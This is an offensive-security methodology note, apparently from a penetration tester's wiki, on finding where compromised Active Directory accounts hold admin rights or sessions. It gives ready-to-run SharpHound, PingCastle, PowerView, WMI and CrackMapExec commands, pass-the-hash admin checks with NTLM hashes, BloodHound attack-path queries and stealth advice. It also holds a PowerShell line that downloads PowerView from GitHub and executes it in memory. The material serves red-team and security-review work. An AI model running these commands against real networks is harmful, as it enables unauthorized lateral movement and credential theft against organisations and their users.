# Exploitation - Credentials theft shuffling

### Local groups enumeration

Enumerating local groups members, and notably the (local or domain-joined) members of the local `Administrators` / `Administratreurs` (`SID`: `S-1-5-32-544`) built-in group, is a crucial step in the credentials theft shuffling process. Indeed, an enumeration of local groups members is a more efficient and stealthy way to find what computers the compromised accounts have access to than direct connection attempts. In additions to the local `Administrators` group, membership to the `Remote Desktop Users` / `Utilisateurs du Bureau à distance` (`SID`: `S-1-5-32-555`) and `Distributed COM users` / `Utilisateurs du modèle COM distribués` (`SID`: `S-1-5-32-562`) groups should be enumerated as well as such membership can be leveraged for remote code execution.

Two techniques, and associated tooling, can be used to enumerate the local groups members of remote hosts:

* Queries to the `Security Accounts Manager` database of the remote host using the `Security Account Manager (SAM) Remote Protocol (MS-SAMR)` (through the `MSRPC` `SAMR` interface).
* Enumeration of the local administrators configured through Active Directory `Group Policy Objects (GPO)`.

| Use case                                                                                                                                                                                   | Recommended tool(s)                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| <p>One-time enumeration across the whole target Active Directory domain or forest.<br>-<br>Local <code>Administrators</code> groups members.</p>                                           | <p><code>BloodHound</code> (collection using <code>SharpHound</code>'s <code>All</code> or <code>LocalAdmin</code> collection methods).<br><br><code>PingCastle</code>'s <code>localadmin</code> module. <code>PingCastle</code> presents the advantage of usually not being flagged by anti-virus solutions.<br><br><em>Both <code>SharpHound</code> and <code>PingCastle</code>'s <code>localadmin</code> module rely on direct and curated <code>SAMR</code></em> <em><code>RPC</code> calls (notably <code>SamGetMembersInAlias</code>) and conduct the enumeration using the <code>RID 544</code> alias (<code>DOMAIN\_ALIAS\_RID\_ADMINS</code>).</em></p> |
| <p>One-time enumeration across the whole target Active Directory domain or forest.<br>-<br><code>Administrators</code> and others local groups that yield remote execution privileges.</p> | `BloodHound` (collection using `SharpHound`'s `All` or `LocalGroup` collection methods). In additions to members of the local `Administrator` group, `SharpHound` can enumerate members of the `Remote Desktop Users` and `Distributed COM users` groups.                                                                                                                                                                                                                                                                                                                                                                                                        |
| Complementary manual enumeration on one host.                                                                                                                                              | `PingCastle`'s `localadmin` module executed in `interactive mode` to manually specify the targeted host.                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
| Complementary manual enumeration on a limited number of hosts.                                                                                                                             | <p><code>PowerView</code>'s <code>Find-DomainLocalGroupMember</code> PowerShell cmdlet.<br><br><code>Find-DomainLocalGroupMember</code> present the notable disadvantage of conducting the enumeration using the group name (by default <code>Administrators</code>) instead of the <code>RID 544</code> alias, and thus is not able to enumerate local groups members of Windows operating systems in different languages at the same time.<br><br><em>Relies on the <code>NetLocalGroupGetMembers</code> API (by default) or on the <code>Active Directory Service Interfaces (ADSI) WinNT</code> provider.</em></p>                                           |
| In a covert scenario in which the completeness of the results is traded for stealth.                                                                                                       | <p><code>BloodHound</code> (collection using <code>SharpHound</code>'s <code>GPOLocalGroup</code> or <code>DcOnly</code> collection methods).<br><br><code>PowerView</code>'s <code>Get-DomainGPOUserLocalGroupMapping</code> PowerShell cmdlet.</p>                                                                                                                                                                                                                                                                                                                                                                                                             |

**RPC calls to the MSRPC SAMR interface**

Numerous tools can be used to conduct the local groups members enumeration through `RPC` queries to the `MSRPC` `SAMR` interface of remote hosts.

The `RPC` calls can be implemented through the `Win32API`'s `NetLocalGroupGetMembers` API, the `Active Directory Service Interfaces (ADSI) WinNT` provider or direct and curated `RPC` calls (as implemented by `SharpHound`).

Note that the possibility to make remote calls to the `SAM` of remote hosts through the `SAMRPC` protocol is by default restricted to members of the local `Administrators` group starting from the `Windows 10, version 1607` and `Windows Server 2016` operating systems. Specific `Knowledge Base (KB)` can also be installed on Windows operating systems, starting from `Windows 7` and `Windows Server 2008 R2`, to configure the aforementioned restriction (`KB 4012218` - `KB 4012220`, `KB 4012606` or `KB 4103198` depending on the operating system).

*BloodHound / PingCastle*

`BloodHound`'s `SharpHound` collector or `PingCastle` can be used for an automated enumeration of the local groups members of all the computers joined in the targeted Active Directory domain.

`PingCastle` returns a text file with the enumerated computers fully qualified hostnames and the members of their local built-in `Administrators` group. `SharpHound` returns a `ZIP` archive (containing `JSON` files) that can be imported into a `Neo4j` database using `BloodHound`.

For more information on both tools, refer to the `[Active Directory] AD scanner` note.

```
# BloodHound's SharpHound.
# Either the PowerShell SharpHound.ps1 (that inlines the C# DLL) or the C# SharpHound.exe collector may be used.
Invoke-Bloodhound -Verbose -CollectionMethod <all | LocalAdmin | LocalGroup>
Invoke-Bloodhound -Verbose -Domain '<DOMAIN_FQDN>' -DomainController '<DC_IP | DC_HOSTNAME>' -LDAPUsername '<USERNAME>' -LDAPPassword '<PASSWORD>' -CollectionMethod <all | LocalAdmin | LocalGroup>

SharpHound.exe -v --Domain '<DOMAIN_FQDN>' --domaincontroller '<DC_IP | DC_HOSTNAME>' --ldapusername '<USERNAME>' --ldappassword '<PASSWORD>' -c <all | LocalAdmin | LocalGroup>

# PingCastle.
# Enumeration on all the computers integrated into the current or specified Active Directory domain.
PingCastle.exe --scanner "localadmin"
PingCastle.exe --server <DC_FQDN | DC_IP> --user "<DOMAIN>\<USERNAME>" --password "<PASSWORD>" --scanner "localadmin"

# Executes PingCastle in interactive in order to manually specify the targeted host.
.\PingCastle.exe
-> 4-Scanner -> 6-localadmin -> 2-one -> <HOSTNAME | FQDN>
```

*PowerView*

```
# Injection in memory of PowerView from the Empire maintained fork. Alternatively, the `PowerView.ps1` PowerShell script can be hosted on a controlled web server.
(New-Object System.Net.WebClient).Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Recon/PowerView.ps1')

# PowerView - single computer "Administrators" members
Find-DomainLocalGroupMember -ComputerName <HOSTNAME | IP>
Find-DomainLocalGroupMember -ComputerName <HOSTNAME | IP> -ComputerDomain <DOMAIN> -Server <DC> -Credential <PSCredential>

# PowerView - multiple computers "Administrators" members
Find-DomainLocalGroupMember | Export-Csv -Path <OUTPUT_CSV>
Find-DomainLocalGroupMember -ComputerDomain <DOMAIN> -Server <DC> -Credential <PSCredential>
```

**From Group Policy Objects**

The second technique pulls the local administrators configured through `Group Policy Objects (GPO)`. Local group membership can be defined using `Restricted Groups` in `GptTmpl.inf` file or group membership in `Group Policy Preferences groups.xml` files.

In the `GptTmpl.inf`, users or group will added in the built-in Administrators group using the line:

```
[Group Membership]
*S-1-5-32-544__Members = <*SID | USERNAME | GROUPNAME>
```

This technique present the advantage of being stealthier as no direct queries to each computers are made to retrieve the local administrators group members. However, any user or group added in the local Administrators group directly on the master image will be missed.

Note: GPO can be linked to an OU but not necessarily applied, as an OU can `blocks inheritance` on an not `enforced` GPO or a conflicting GPO with a higher precedence order may supplant the exploitable GPO.

```
# Returns all GPOs in a domain that modify local group memberships through 'Restricted Groups' or Group Policy preferences
# The 'GroupName' specify the group to which the 'GroupMembers' are added
Get-DomainGPOLocalGroup
Get-DomainGPOLocalGroup -Domain <DOMAIN> -Server <DC> -Credential <PSCredential>

Get-DomainOU -GPLink "<GPO_GUID>" | ForEach-Object {
    Get-DomainComputer -SearchBase "LDAP://$($_.distinguishedname)" | Ft Name
}
```

Note that the tooling of this technique is still experimental and that the tools presented below may not yield comprehensive results.

```
SharpHound's 'GPOLocalGroup', 'DcOnly' or 'All' collection methods.

# Enumerates the machines where a specific domain user/group is a member of a specific local group
# If no user/group is specified, all discoverable mappings are returned.
Get-DomainGPOUserLocalGroupMapping
Get-DomainGPOUserLocalGroupMapping -Identity <USERNAME | GROUPNAME> -LocalGroup <TARGET_GROUPNAME> -Domain <DOMAIN> -Server <DC> -Credential <PSCredential>

# Enumerates a specified local group for the targeted machine
Get-DomainGPOComputerLocalGroupMapping -ComputerIdentity <HOSTNAME | IP> -LocalGroup <GROUPNAME>
Get-DomainGPOComputerLocalGroupMapping -ComputerIdentity <HOSTNAME | IP> -LocalGroup <GROUPNAME> -Domain <DOMAIN> -Server <DC> -Credential <PSCredential>
```

Moreover, GPO can be used to define user rights on the computers the GPO is applied to, such as the logon right `SeRemoteInteractiveLogonRight` and specific privileges. Some of these privileges can be used to locally elevate privileges or directly dump the `LSASS` process. Reviewing the user rights defined in GPO can thus lead to more vectors of credentials re-use. Refer to the `Active Directory - GPO users rights` for more information.

**Local groups BloodHound Cypher queries**

`SharpHound` result can be consulted through the `BloodHound` graphical interface or queried using direct `Neo4j`'s `Cypher` queries (executed in the `Neo4j` web console).

```
# BloodHound GUI.
# For user or group nodes.
Node Info
-> Local Admin Rights
    -> First Degree Local Admin / Group Delegated Local Admin Rights
-> Execution Privileges
    -> First Degree RDP Privileges / Group Delegated RDP Privileges
    -> First Degree DCOM Privileges / Group Delegated DCOM Privileges
    -> SQL Admin Rights
    -> Constrained Delegation Privileges

# For computer nodes.
Node Info
-> Local Admin
    -> Local Admins / Explicit Admins / Unrolled Admins / Foreign Admins / Derivative Local Admins
-> Inbound Execution Privileges
    -> First Degree Remote Desktop Users / Group Delegated Remote Desktop Users
    -> First Degree Distributed COM Users / Group Delegated Distributed COM Users
    -> SQL Admins

# Neo4j's Cypher queries.
# The queries below should be executed through the Neo4j web console (by default accessible at http://localhost:7474/browser/).

# Local Administrators.
# First degree membership of the specified domain user to local Administrators groups.
MATCH (u:User) WHERE u.name =~ "<USERNAME_IN_CAPS>@<DOMAIN_FQDN_IN_CAPS>" MATCH (c:Computer) MATCH p=allShortestPaths((u)-[r:AdminTo]->(c)) RETURN c.name
# Both first degree and group delegated membership of the specified domain user to local Administrators groups.
MATCH (u:User) WHERE u.name =~ "<USERNAME_IN_CAPS>@<DOMAIN_FQDN_IN_CAPS>" MATCH (c:Computer) MATCH p=allShortestPaths((u)-[r:AdminTo|MemberOf*1..]->(c)) RETURN c.name

# First degree membership of Everyone, Anonymous, Authenticated Users, Domain Users or Domain Computers to local Administrators groups of all computers integrated in the BloodHound database.
MATCH (g:Group) WHERE g.objectid ENDS WITH '-513' OR g.objectid ENDS WITH 'S-1-5-11' OR g.objectid ENDS WITH 'S-1-1-0' OR g.objectid ENDS WITH 'S-1-5-7' MATCH (c:Computer) MATCH p=allShortestPaths((g)-[r:AdminTo]->(c)) RETURN c.name
# Both first degree and group delegated membership of Everyone, Anonymous, Authenticated Users, Domain Users or Domain Computers to local Administrators groups  all computers integrated in the BloodHound database.
MATCH (g:Group) WHERE g.objectid ENDS WITH '-513' OR g.objectid ENDS WITH 'S-1-5-11' OR g.objectid ENDS WITH 'S-1-1-0' OR g.objectid ENDS WITH 'S-1-5-7' MATCH (c:Computer) MATCH p=allShortestPaths((g)-[r:AdminTo|MemberOf*1..]->(c)) RETURN c.name

# Possible code execution (local Administrators, Remote Desktop Users, Distributed COM users, LAPS password delegation, etc.).
# Possible code execution of the specified domain user to all computers integrated in the BloodHound database.
MATCH (u:User) WHERE u.name =~ "<USERNAME_IN_CAPS>@<DOMAIN_FQDN_IN_CAPS>" MATCH (c:Computer) MATCH p=allShortestPaths((g)-[r:AdminTo|GenericAll|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|ReadLAPSPassword|SQLAdmin|CanPSRemote]->(c)) RETURN c.name
# Possible code execution of Everyone, Anonymous, Authenticated Users, Domain Users or Domain Computers to all computers integrated in the BloodHound database.
MATCH (g:Group) WHERE g.objectid ENDS WITH '-513' OR g.objectid ENDS WITH 'S-1-5-11' OR g.objectid ENDS WITH 'S-1-1-0' OR g.objectid ENDS WITH 'S-1-5-7' MATCH (c:Computer) MATCH p=allShortestPaths((g)-[r:AdminTo|GenericAll|Owns|WriteDacl|WriteOwner|CanRDP|ExecuteDCOM|ReadLAPSPassword|SQLAdmin|CanPSRemote]->(c)) RETURN c.name
```

### Sessions hunting

Enumerating the sessions established on the machines of the Active Directory domain is also a crucial step in the credentials theft shuffling process. Indeed, an enumeration of the current sessions is tremendously faster than large scale dumping and credentials extraction from `LSASS` processes on a domain level. Additionally, it allows for the addition of sessions in the computation of more complex attack paths through graph theory (using `BloodHound` for example).

Multiple techniques, and associated tooling, can be used to enumerate the sessions established across the targeted Active Directory domain:

* Enumeration of the sessions established on the machines in the domain using the Windows `Win32API`'s `NetSessionEnum` function. This method does not directly query the systems to enumerate their currently logged-on users but rely on retrieving the sessions established on a machine (likely a server) from others Windows systems. While this method only returns partial results, notably for logged-on users that did not establish any session on remote servers, it is the only one that does not require elevated privileges on the queried host.
* Access of remote hosts `user profile` registry hives using the `Remote Registry` `RPC` protocol. As a new `user profile` hive is created each time a new user logs on to a computer, the `user profile` registry hives of a computer give information about past and present logged-on users. This method does not require elevated privileges but the Windows `Remote Registry` service to be running on the remote host.
* Direct querying of remote hosts for information about all users currently logged-on using the `Win32API`'s `NetWkstaUserEnum` function or `WMI`'s `Win32_LoggedOnUser` class. This method requires elevated privileges on the queried host.
* Remote listing of the processes of hosts and enumerating the ones being executed in the security context of a domain user, which requires elevated privileges on the queried host.
* Remote extraction of the Windows `Security` events `4624: An account was successfully logged on` on hosts' `Security` hives and listing of the domain users connections. This method requires the right to access the `Security` `EVTX` hive on the remote host.

While leveraging the Windows `Win32API`'s `NetSessionEnum` function and access to `user profile` hives do not require elevated privileges on the remote hosts, if an account member of the `Administrators` group of a number of machines could be compromised, others options may be used to enumerate sessions with a better precision. Notably, these alternative methods may prove useful if `Find-DomainUserLocation` or `SharpHound`'s `Session` or `All` collection methods did not manage to detect `Domain Admins` sessions. In order to find on which machines compromised accounts are member of the local `Administrators` group, refer to `Local groups enumeration` section above.

| Use case                                                                                                                                                                                                                                                      | Recommended tool(s)                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| One-time enumeration across the whole target Active Directory domain or forest **using an unprivileged domain user**.                                                                                                                                         | <p><code>BloodHound</code> (collection using <code>SharpHound</code>'s <code>All</code> or <code>Session</code> collection methods).<br><br>-> Leverages <code>Win32API</code>'s <code>NetSessionEnum</code> function.</p>                                                                                                                                                                                                                                                                                                            |
| One-time enumeration across the whole target Active Directory domain or forest **using a privileged domain user** for a more comprehensive sessions enumeration (in a security review kind of engagement for example).                                        | <p><code>BloodHound</code> (collection using <code>SharpHound</code>'s <code>All</code> or <code>LoggedOn</code> collection methods).<br><br>-> Leverages both <code>Win32API</code>'s <code>NetWkstaUserEnum</code> function and access to <code>Users</code> registry hives using the <code>Remote Registry</code> <code>RPC</code> protocol.</p>                                                                                                                                                                                   |
| Complementary manual enumeration on one or a limited number of hosts **using an unprivileged domain user.**                                                                                                                                                   | <p><code>PowerView</code>'s <code>Find-DomainUserLocation</code> PowerShell cmdlet.<br><br>BloodHound (collection using SharpHound's <code>Session</code> collection method and by specifying the targeted systems using the <code>-ComputerFile</code> (<code>SharpHound.ps1</code>) / <code>--computerfile</code> (<code>SharpHound.exe</code>) parameter.)<br><br><code>PowerView</code>'s <code>Get-RegLoggedOn</code> (which requires the Windows <code>Remote Registry</code> service to be running on the targeted hosts).</p> |
| <p>Complementary manual enumeration on one or a limited number of hosts using an account with <code>Administrators</code> privileges on the targeted hosts.<br><br>This use case may arise after the compromise of an additional domain or local account.</p> | <p><code>Get-WmiObject Win32\_LoggedOnUser</code> and <code>Get-WmiObject Win32\_LoggedOnUser</code> using the provided PowerShell code snippets below.<br><br><code>PowerView</code>'s <code>Find-DomainUserLocation</code> PowerShell cmdlet.<br><br>This technique reduces the number of false positives induced by using the <code>Users</code> registry hives as implemented by <code>SharpHound</code>'s <code>LoggedOn</code> collection method.</p>                                                                           |

**Unprivileged calls to the Win32API's NetSessionEnum function**

The Windows `Win32API`'s `NetSessionEnum` function provide information about sessions established on a computer. It does not provide information about users that are directly logged-on on the queried host but returns information on the sessions established on the host (likely a server) from others Windows computers.

While different level of information can be retrieved using the `NetSessionEnum` function, only the `level 0` or `level 10` calls are allowed for users with out elevated privileges on the remote host. The `level 10` calls, leveraged by offensive tools, return `SESSION_INFO_10` structure(s), which contain:

* `sesi10_cname`: the name of the computer that established the session;
* `sesi10_username`: the name of the user who established the session;
* `sesi10_time`: the number of seconds the session has been active;
* `sesi10_idle_time`: the number of seconds the session has been idle.

The `PowerView`'s `Get-NetSession` cmdlet as well as the `SharpHound`'s `Session` collection method wrap around the `NetSessionEnum` function.

```
Get-NetSession -ComputerName <COMPUTERNAME | COMPUTERNAME_1,...,COMPUTERNAME_N>

Get-NetSession -Credential <PSCredential> -ComputerName <COMPUTERNAME | COMPUTERNAME_1,...,COMPUTERNAME_N>
```

Additionally, the `PowerView`'s `Find-DomainUserLocation` cmdlet combine the `Get-NetSession` and `Get-NetLoggedon`, introduced below, cmdlets to find machines where the specified user or group's members are logged-on. The `ShowAll` flag can also be specified to return all user's session, on all machines or on the specified machine.

If the `Stealth` flag is specified, then servers with likely highly-traffic are enumerated with `Get-DomainFileServer` and `Get-DomainController` and session enumeration is executed only against those servers using `Get-NetSession`.

If the `CheckAccess` flag is specified, the `PowerView` cmdlet `Test-AdminAccess` will be called to check if the current user context has local administrator access to the machine on which the target members have a session on. Note that the `CheckAccess` does not take into account credentials specified using the `Credential` parameter. The `CheckAccess` call can be patched using the following code:

```
# Target: either UserGroupIdentity or UserIdentity
# Default to UserGroupIdentity = "Domain Admins"
Find-DomainUserLocation
Find-DomainUserLocation -Server <DC> -Credential <PSCredential>

Find-DomainUserLocation -UserGroupIdentity <GROUPNAME>
Find-DomainUserLocation -UserIdentity <USERNAME>

# Find all active sessions on the specified machine
Find-DomainUserLocation -ShowAll -ComputerName <COMPUTERNAME | COMPUTERNAME_1,...,COMPUTERNAME_N>

# Check if the current user context has administrator access to the machine on which the target members have a session on
Find-DomainUserLocation -CheckAccess
```

**Unprivileged access to Users registry hives through the Remote Registry protocol**

Each time a new user logs on to a computer, a new `user profile` hive is created for that user under the `HKEY_USERS` key. This hive contains registry information relative to the user's settings. The `user profile` registry hives of a computer thus give information about past and present logged-on users.

As `user profile` registry hives are not automatically purged, this enumeration can induce false positives by identifying users that are no longer logged-on the targeted host.

While remote access to the `user profile` registry hives of a given host does not require elevated privileges on the remote host, the Windows `Remote Registry` service must be running on the host (which is not the case by default). The registry access is made through the `Remote Registry` protocol.

The `PowerView`'s `Get-RegLoggedon` cmdlet as well as the `SharpHound`'s `LoggedOn` collection method implement this enumeration method. The `SharpHound`'s `LoggedOn` collection method additionally tries to enumerate the logged-on users using the `Win32API`'s `NetWkstaUserEnum` function (which will only be successful if `SharpHound` is being executed under a security context with elevated privileges on the remote hosts).

```
Get-RegLoggedon -ComputerName <COMPUTERNAME | COMPUTERNAME_1,...,COMPUTERNAME_N>
```

**Privileged calls to the Win32API's NetWkstaUserEnum function**

The Windows `Win32API`'s `NetWkstaUserEnum` function provides information about users logged on a computer. Note that on newer versions of Windows, the use of the `NetWkstaUserEnum` function requires `Administrators` privileges on the remote system.

The `PowerView`'s `Get-NetLoggedon` cmdlet as well as the `SharpHound`'s `LoggedOn` collection method wrap around the `NetWkstaUserEnum` function. The `SharpHound`'s `LoggedOn` collection method additionally leverages the `Remote Registry` protocol to enumerate `user profile` registry hives, which can induce false positives about users that are no longer logged on the targeted host.

```
# Built-in
WMIC /NODE:<HOSTNAME | IP> COMPUTERSYSTEM GET USERNAME
Get-WmiObject Win32_LoggedOnUser -ComputerName <HOSTNAME | IP>
Get-WmiObject Win32_LoggedOnUser -Credential <PSCredential> -ComputerName <HOSTNAME | IP>

# PowerView
Get-NetLoggedon -ComputerName <COMPUTERNAME | COMPUTERNAME_1,...,COMPUTERNAME_N>
Get-NetLoggedon -Credential <PSCredential> -ComputerName <COMPUTERNAME | COMPUTERNAME_1,...,COMPUTERNAME_N>
```

This enumeration can also be done directly using the `WMI`'s `Win32_LoggedOnUser` class:

```
$Credential = <PSCredential>
$InputFile = <FILEPATH>

Get-Content $InputFile | ForEach-Object {
    $ComputerName = $_
    Get-WmiObject Win32_LoggedOnUser -Credential $Credential -ComputerName $ComputerName| ForEach-Object {
          [pscustomobject]@{
                ComputerName = "$ComputerName"
                UserName = $("{0}\{1}” -f $_.Antecedent.ToString().Split('"')[1], $_.Antecedent.ToString().Split('"')[3])   
          }
    } | Select-Object -Unique ComputerName, Username | Where-Object -FilterScript {$_.Username -ne '\'}
}
```

**Privileged remote listing of processes**

The users running processes on the remote machine can be enumerated to find active session. The `PowerView`'s cmdlet `Find-DomainProcess` leverages `Get-WMIProcess` to remotely list the processes running on the targeted machine, or all machines integrated in the current (or specified) domain. It can be used to list processes being executed by a specific user or by users in a specific group.

```
# Target: either UserGroupIdentity or UserIdentity.
# Default to UserGroupIdentity = "Domain Admins".
Find-DomainProcess
Find-DomainProcess -Server <DC> -Credential <PSCredential>

Find-DomainProcess -UserGroupIdentity <GROUPNAME>
Find-DomainProcess -UserIdentity <USERNAME>

# If the list of machines a given user has Administrator access to is saved in a file, the following can be used to retrieve the active users on the machines.
[string[]]$arrayFromFile = Get-Content -Path <FILE>
$commaSeparatedList = '"{0}"' -f ($arrayFromFile -join '","')
Find-DomainProcess -Server <DC> -Credential <PSCredential> -ComputerName $commaSeparatedList
```

This enumeration can also be done directly using the `WMI`'s `Win32_Process` class:

```
$(Get-WmiObject -Credential <PSCredential> -Class Win32_Process -ComputerName <COMPUTERNAME>).GetOwner().user | Select-Object -Unique

# Script to enumerate all users having at least one running process on the specified machines.
$Credential = <PSCredential>
$InputFile = <FILEPATH>
Get-Content $InputFile | ForEach-Object {
    $ComputerName = $_

    Get-WmiObject -Class Win32_Process -Credential $credentials -ComputerName $ComputerName | ForEach-Object {
            [pscustomobject]@{
                ComputerName = "$ComputerName"
                UserName = $($_.GetOwner().Domain)+"\"+$($_.GetOwner().User)
            }
    } | Select-Object -Unique ComputerName, Username | Where-Object -FilterScript {$_.Username -ne '\'}
}
```

**Privileged remote searches of Security EVTX hives**

The `PowerView`'s cmdlet `Find-DomainUserEvent` can be used to find `Security`'s `4624: An account was successfully logged on` events on all domain controllers or on the specified machines.

This method requires the right to access the `Security` `EVTX` hive on the targeted machines, which is granted to members of the local `Administrators` (`SID`: `S-1-5-32-548`) and `Event Log Readers` (`SID`: `S-1-5-32-573`) groups.

```
# By default, search for any user events matching domain admins on every DC in the current domain.
Find-DomainUserEvent
Find-DomainUserEvent -Server <DC> -Credential <PSCredential>

Find-DomainUserEvent -ComputerName <COMPUTERNAME> -UserIdentity <USERNAME>

# If the list of targeted machines is saved in a file, the following PowerShell code snippet can be used to retrieve the logged on events of the machines.
[string[]]$arrayFromFile = Get-Content -Path <FILE>
$commaSeparatedList = '"{0}"' -f ($arrayFromFile -join '","')
Find-DomainUserEvent -Server <DC> -Credential <PSCredential> -ComputerName $commaSeparatedList
```

### Optional checking of remote local admin access

While enumerating local administrators and active sessions is a good way to quickly approximate if any compromised accounts may be used for lateral movement, only direct authentication requests on targeted computers can yield comprehensive results.

The PowerShell cmdlets `Invoke-CheckLocalAdminAccess`, replacing `Test-AdminAccess`, of `PowerView` and `Check-LocalAdminHash` can be used to do so, respectively using `PSCredential` or NTLM hashes.

`Test-AdminAccess` relies on the Windows API `OpenSCManagerW Win32API` while `Check-LocalAdminHash` passes a NTLM hash into the NTLMv2 authentication protocol over SMB or WMI (by default).

The `CrackMapExec` utility can be used as well, to test local admin access using either passwords or NTLM hashes over SMB or WMI.

```
Invoke-CheckLocalAdminAccess -ComputerName <HOSTNAME | IP>

# With the AllSystems switch, Check-LocalAdminHash will utilize PowerView modules to enumerate all domain enrolled computers
# The UserDomain should be specified only if a domain account is provided
Check-LocalAdminHash -UserDomain <DOMAIN> -Username <USERNAME> -PasswordHash <NTLMHASH> -AllSystems
Check-LocalAdminHash -UserDomain <DOMAIN> -Username <USERNAME> -PasswordHash <NTLMHASH> -TargetList <HOSTNAMES_FILE | IP_FILE>

# TARGETS can be IP(s), range(s), CIDR(s), hostname(s), FQDN(s) or file(s) containg a list of targets
crackmapexec <TARGETS> (-d <DOMAIN> | --local-auth) -u <USERNAME | USERNAMES_FILE> (-p <PASSWORD | PASSWORDS_FILE> | -H <HASH>)
```

### Lateral movements

Multiples mechanisms and tools can be used for lateral movements in a Windows environment.

The `Windows - Lateral movements` note introduces the main techniques and tooling.

### Credentials dumping

Credential dumping is the process of obtaining account login and password information, normally in the form of a hash or a clear text password, from the operating system. The Windows operating system notably stores user accounts authentication information in the `HKEY_LOCAL_MACHINE\Security Account Manager (SAM)` and `HKEY_LOCAL_MACHINE\SECURITY` registry hives as well as the `Local Security Authority Subsystem (LSASS)` process.

For techniques and tools to efficiently dump credentials on a Windows host, refer to the `[Windows] Post Exploit` note.

***

### References

<https://stackoverflow.com/questions/18113651/powershell-remoting-policy-does-not-allow-the-delegation-of-user-credentials> <https://www.pdq.com/blog/secure-password-with-powershell-encrypting-credentials-part-1/> <https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/> <https://powersploit.readthedocs.io/en/latest/Recon/Find-DomainUserLocation/> <https://blog.cptjesus.com/posts/sharphoundtechnical> <https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/network-access-restrict-clients-allowed-to-make-remote-sam-calls> <https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry-hives> <https://docs.microsoft.com/en-us/windows/win32/api/lmshare/nf-lmshare-netsessionenum> <https://docs.microsoft.com/en-us/windows/win32/api/lmwksta/nf-lmwksta-netwkstauserenum> <https://docs.microsoft.com/en-us/windows/win32/api/lmshare/ns-lmshare-session\\_info\\_10>
